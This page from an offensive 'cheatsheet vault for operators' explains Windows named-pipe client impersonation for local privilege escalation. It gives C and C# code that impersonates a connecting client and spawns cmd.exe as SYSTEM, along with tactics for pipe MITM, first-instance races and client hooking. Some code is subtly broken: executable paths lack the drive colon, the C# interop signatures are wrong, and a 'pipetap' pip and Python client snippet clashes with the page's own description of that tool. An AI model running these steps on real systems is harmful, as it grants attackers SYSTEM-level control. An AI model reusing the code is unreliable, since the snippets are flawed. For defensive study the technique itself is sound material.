daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

named-pipe-client-impersonation.md (14107B)


      1 ---
      2 title: "Named Pipe Client Impersonation"
      3 section: "Windows"
      4 sectionSlug: "windows-hardening"
      5 sourcePath: "src/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # Named Pipe Client Impersonation
     14 
     15 Named Pipe client impersonation is a local privilege escalation primitive that lets a named-pipe server thread adopt the security context of a client that connects to it. In practice, an attacker who can run code with SeImpersonatePrivilege can coerce a privileged client (e.g., a SYSTEM service) to connect to an attacker-controlled pipe, call ImpersonateNamedPipeClient, duplicate the resulting token into a primary token, and spawn a process as the client (often NT AUTHORITY\SYSTEM).<sup>[[2]](#references)</sup>
     16 
     17 This page focuses on the core technique. For end-to-end exploit chains that coerce SYSTEM to your pipe, see the Potato family pages referenced below.
     18 
     19 ## TL;DR
     20 - Create a named pipe: \\.\pipe\<random> and wait for a connection.
     21 - Make a privileged component connect to it (spooler/DCOM/EFSRPC/etc.).
     22 - Read at least one message from the pipe, then call ImpersonateNamedPipeClient.
     23 - Open the impersonation token from the current thread, DuplicateTokenEx(TokenPrimary), and CreateProcessWithTokenW/CreateProcessAsUser to get a SYSTEM process.<sup>[[2]](#references)</sup>
     24 
     25 ## Requirements and key APIs
     26 - Privileges typically needed by the calling process/thread:
     27   - SeImpersonatePrivilege to successfully impersonate a connecting client and to use CreateProcessWithTokenW.
     28   - Alternatively, after impersonating SYSTEM, you can use CreateProcessAsUser, which may require SeAssignPrimaryTokenPrivilege and SeIncreaseQuotaPrivilege (these are satisfied when you’re impersonating SYSTEM).
     29 - Core APIs used:<sup>[[1]](#references)[[4]](#references)</sup>
     30   - CreateNamedPipe / ConnectNamedPipe
     31   - ReadFile/WriteFile (must read at least one message before impersonation)
     32   - ImpersonateNamedPipeClient and RevertToSelf
     33   - OpenThreadToken, DuplicateTokenEx(TokenPrimary)
     34   - CreateProcessWithTokenW or CreateProcessAsUser
     35 - Impersonation level: to perform useful actions locally, the client must allow SecurityImpersonation (default for many local RPC/named-pipe clients). Clients can lower this with SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION when opening the pipe.<sup>[[3]](#references)</sup>
     36 
     37 ## Minimal Win32 workflow (C)
     38 ```c
     39 // Minimal skeleton (no error handling hardening for brevity)
     40 #include <windows.h>
     41 #include <stdio.h>
     42 
     43 int main(void) {
     44     LPCSTR pipe = "\\\\.\\pipe\\evil";
     45     HANDLE hPipe = CreateNamedPipeA(
     46         pipe,
     47         PIPE_ACCESS_DUPLEX,
     48         PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT,
     49         1, 0, 0, 0, NULL);
     50 
     51     if (hPipe == INVALID_HANDLE_VALUE) return 1;
     52 
     53     // Wait for privileged client to connect (see Triggers section)
     54     if (!ConnectNamedPipe(hPipe, NULL)) return 2;
     55 
     56     // Read at least one message before impersonation
     57     char buf[4]; DWORD rb = 0; ReadFile(hPipe, buf, sizeof(buf), &rb, NULL);
     58 
     59     // Impersonate the last message sender
     60     if (!ImpersonateNamedPipeClient(hPipe)) return 3; // ERROR_CANNOT_IMPERSONATE==1368
     61 
     62     // Extract and duplicate the impersonation token into a primary token
     63     HANDLE impTok = NULL, priTok = NULL;
     64     if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &impTok)) return 4;
     65     if (!DuplicateTokenEx(impTok, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &priTok)) return 5;
     66 
     67     // Spawn as the client (often SYSTEM). CreateProcessWithTokenW requires SeImpersonatePrivilege.
     68     STARTUPINFOW si = { .cb = sizeof(si) }; PROCESS_INFORMATION pi = {0};
     69     if (!CreateProcessWithTokenW(priTok, LOGON_NETCREDENTIALS_ONLY,
     70                                  L"C\\\\Windows\\\\System32\\\\cmd.exe", NULL,
     71                                  0, NULL, NULL, &si, &pi)) {
     72         // Fallback: CreateProcessAsUser after you already impersonated SYSTEM
     73         CreateProcessAsUserW(priTok, L"C\\\\Windows\\\\System32\\\\cmd.exe", NULL,
     74                              NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
     75     }
     76 
     77     RevertToSelf(); // Restore original context
     78     return 0;
     79 }
     80 ```
     81 Notes:
     82 - If ImpersonateNamedPipeClient returns ERROR_CANNOT_IMPERSONATE (1368), ensure you read from the pipe first and that the client didn’t restrict impersonation to Identification level.
     83 - Prefer DuplicateTokenEx with SecurityImpersonation and TokenPrimary to create a primary token suitable for process creation.
     84 
     85 ## .NET quick example
     86 In .NET, NamedPipeServerStream can impersonate via RunAsClient. Once impersonating, duplicate the thread token and create a process.
     87 ```csharp
     88 using System; using System.IO.Pipes; using System.Runtime.InteropServices; using System.Diagnostics;
     89 class P {
     90   [DllImport("advapi32", SetLastError=true)] static extern bool OpenThreadToken(IntPtr t, uint a, bool o, out IntPtr h);
     91   [DllImport("advapi32", SetLastError=true)] static extern bool DuplicateTokenEx(IntPtr e, uint a, IntPtr sd, int il, int tt, out IntPtr p);
     92   [DllImport("advapi32", SetLastError=true, CharSet=CharSet.Unicode)] static extern bool CreateProcessWithTokenW(IntPtr hTok, int f, string app, string cmd, int c, IntPtr env, string cwd, ref ProcessStartInfo si, out Process pi);
     93   static void Main(){
     94     using var s = new NamedPipeServerStream("evil", PipeDirection.InOut, 1);
     95     s.WaitForConnection();
     96     // Ensure client sent something so the token is available
     97     s.RunAsClient(() => {
     98       IntPtr t; if(!OpenThreadToken(Process.GetCurrentProcess().Handle, 0xF01FF, false, out t)) return; // TOKEN_ALL_ACCESS
     99       IntPtr p; if(!DuplicateTokenEx(t, 0xF01FF, IntPtr.Zero, 2, 1, out p)) return; // SecurityImpersonation, TokenPrimary
    100       var psi = new ProcessStartInfo("C\\Windows\\System32\\cmd.exe");
    101       Process pi; CreateProcessWithTokenW(p, 2, null, null, 0, IntPtr.Zero, null, ref psi, out pi);
    102     });
    103   }
    104 }
    105 ```
    106 
    107 ## Common triggers/coercions to get SYSTEM to your pipe
    108 These techniques coerce privileged services to connect to your named pipe so you can impersonate them:
    109 - Print Spooler RPC trigger (PrintSpoofer)
    110 - DCOM activation/NTLM reflection variants (RoguePotato/JuicyPotato[NG], GodPotato)
    111 - EFSRPC pipes (EfsPotato/SharpEfsPotato)
    112 
    113 See detailed usage and compatibility here:
    114 
    115 -
    116 [Roguepotato And Printspoofer](/hacktricks/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer)
    117 -
    118 [Juicypotato](/hacktricks/windows-hardening/windows-local-privilege-escalation/juicypotato)
    119 
    120 If you just need a full example of crafting the pipe and impersonating to spawn SYSTEM from a service trigger, see:
    121 
    122 -
    123 [From High Integrity To System With Name Pipes](/hacktricks/windows-hardening/windows-local-privilege-escalation/from-high-integrity-to-system-with-name-pipes)
    124 -
    125 [Service Triggers](/hacktricks/windows-hardening/windows-local-privilege-escalation/service-triggers)
    126 
    127 ## Named Pipe IPC Abuse & MITM (ACLs, First-Instance Races, Client Hooking)
    128 
    129 When a privileged service and a low-privileged process communicate over `\\.\pipe\...`, treat the pipe like any other untrusted IPC boundary. Beyond classic server-side impersonation, weak pipe ACLs, unsafe creation flags, and client-side trust decisions can all become local privilege escalation primitives.<sup>[[7]](#references)</sup>
    130 
    131 ### Enumerate candidate pipes first
    132 - List pipes quickly from PowerShell: `Get-ChildItem \\.\pipe\`
    133 - Sysinternals `pipelist64.exe` is useful to spot instance counts and single-instance pipes.
    134 - Prioritize names used by services running as `SYSTEM`, especially helpers, updaters, launchers, and UI brokers.
    135 
    136 ### MITM via permissive DACLs and extra pipe instances
    137 - Any process that can talk to a privileged server can already fuzz its protocol and hunt privileged verbs.<sup>[[7]](#references)</sup>
    138 - The more interesting case is when the DACL grants `FILE_GENERIC_WRITE`/`GENERIC_WRITE` on the pipe object. On named pipes this implicitly includes `FILE_CREATE_PIPE_INSTANCE` (`FILE_APPEND_DATA` shares the same bit), so an attacker can create another server instance with the same name.
    139 - Because instances are matched in FIFO order, attacker-created and legitimate instances can be interleaved: create a rogue instance with `CreateNamedPipe`, then open the same pipe name with `CreateFile`, and wait for a real client to land on the rogue server instance.
    140 - Result: observe, modify, relay, or desynchronize privileged IPC without needing to own the original server process.
    141 
    142 ### First-instance race on pipe security descriptors
    143 - `lpSecurityAttributes` only defines the DACL when the first instance of a pipe name is created.<sup>[[4]](#references)[[7]](#references)</sup>
    144 - If a privileged service starts late and does not use `FILE_FLAG_FIRST_PIPE_INSTANCE`, an attacker can pre-create the pipe name with a permissive DACL, then let the service create later instances under the attacker-chosen security context.
    145 - This turns service startup into a race condition: win the first instance, then connect or MITM later clients using the weakened ACL.
    146 - Mitigation for defenders, and a key review point for attackers: check whether `CreateNamedPipe(..., dwOpenMode, ...)` includes `FILE_FLAG_FIRST_PIPE_INSTANCE`. If not, test pre-creation before the service starts.
    147 
    148 ### PID/signature checks are hardening, not a boundary
    149 - Some products try to restrict access by checking `GetNamedPipeClientProcessId`, process image path, or Authenticode signer of the connecting client.<sup>[[7]](#references)</sup>
    150 - This only helps until you inject into the legitimate client: once inside the trusted process, you inherit the exact PID/image/signature context the server expects.
    151 - For split desktop apps, instrumenting the low-privileged UI/helper process is often easier than attacking the `SYSTEM` service directly.
    152 
    153 ### Hook the client according to its I/O model
    154 - Synchronous I/O: intercept `NtWriteFile` before the syscall consumes the buffer, and inspect/patch `NtReadFile` after it returns.<sup>[[7]](#references)</sup>
    155 - Overlapped I/O: store the `OVERLAPPED`/`IoStatusBlock` seen in `NtReadFile`, then inspect the buffer after `GetOverlappedResult` or the relevant wait completes.
    156 - Completion ports: `GetQueuedCompletionStatus` reaches `NtRemoveIoCompletion`; the returned `ApcContext` links back to the `OVERLAPPED` used by the original read, which is the right pivot to find the now-populated buffer.
    157 - Completion routines (`ReadFileEx`): the completion callback is delivered as an APC. If you want to tamper with returned data or inject synthetic replies, hook the real completion routine and, for custom injection, use a one-argument `QueueUserAPC` dispatcher that reconstructs the routine's 3 expected arguments.<sup>[[5]](#references)[[7]](#references)</sup>
    158 
    159 ### Tooling notes
    160 - [pipetap](https://sensepost.com/blog/2025/pipetap-a-windows-named-pipe-proxy-tool/) proxies named-pipe traffic through an injected helper DLL and exposes a Burp-like workflow for editing/replay.<sup>[[6]](#references)</sup>
    161 - [thats_no_pipe](https://github.com/synacktiv/thats_no_pipe) takes a Frida-based approach and focuses on hooking `NtReadFile`/`NtWriteFile` plus the async/completion pivots above, then forwarding traffic to a WebSocket-backed editing workflow.<sup>[[7]](#references)[[8]](#references)</sup>
    162 
    163 ```bash
    164 pip install pipetap
    165 ```
    166 
    167 ```python
    168 import pipetap
    169 client = pipetap.Client(("127.0.0.1", 47001))
    170 client.write(b"OP\x00\x01...")
    171 ```
    172 
    173 ### Operational considerations
    174 - Named pipes are low-latency; long pauses while editing buffers can deadlock brittle services.<sup>[[7]](#references)</sup>
    175 - Overlapped/completion-port/APC-driven clients need different hooks than simple `ReadFile`/`WriteFile` detours.
    176 - Injection into the trusted client is noisy and generally best kept for exploit development, protocol reversing, or local lab fuzzing.
    177 
    178 ## Troubleshooting and gotchas
    179 - You must read at least one message from the pipe before calling ImpersonateNamedPipeClient; otherwise you’ll get ERROR_CANNOT_IMPERSONATE (1368).<sup>[[1]](#references)</sup>
    180 - If the client connects with SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION, the server cannot fully impersonate; check the token’s impersonation level via GetTokenInformation(TokenImpersonationLevel).<sup>[[3]](#references)</sup>
    181 - CreateProcessWithTokenW requires SeImpersonatePrivilege on the caller. If that fails with ERROR_PRIVILEGE_NOT_HELD (1314), use CreateProcessAsUser after you already impersonated SYSTEM.
    182 - Ensure your pipe’s security descriptor allows the target service to connect if you harden it; by default, pipes under \\.\pipe are accessible according to the server’s DACL.<sup>[[3]](#references)</sup>
    183 
    184 ## References
    185 
    186 - [1] [Windows: ImpersonateNamedPipeClient documentation](https://learn.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-impersonatenamedpipeclient)
    187 - [2] [ired.team: Windows named pipes privilege escalation](https://ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation)
    188 - [3] [Microsoft: Named Pipe Security and Access Rights](https://learn.microsoft.com/en-us/windows/win32/ipc/named-pipe-security-and-access-rights)
    189 - [4] [Microsoft: CreateNamedPipe function](https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createnamedpipea)
    190 - [5] [Microsoft: Named Pipe Server Using Completion Routines](https://learn.microsoft.com/en-us/windows/win32/ipc/named-pipe-server-using-completion-routines)
    191 - [6] [pipetap – a Windows named pipe proxy tool](https://sensepost.com/blog/2025/pipetap-a-windows-named-pipe-proxy-tool/)
    192 - [7] [Synacktiv: Hooking Windows Named Pipes](https://www.synacktiv.com/en/publications/hooking-windows-named-pipes.html)
    193 - [8] [Synacktiv: thats_no_pipe](https://github.com/synacktiv/thats_no_pipe)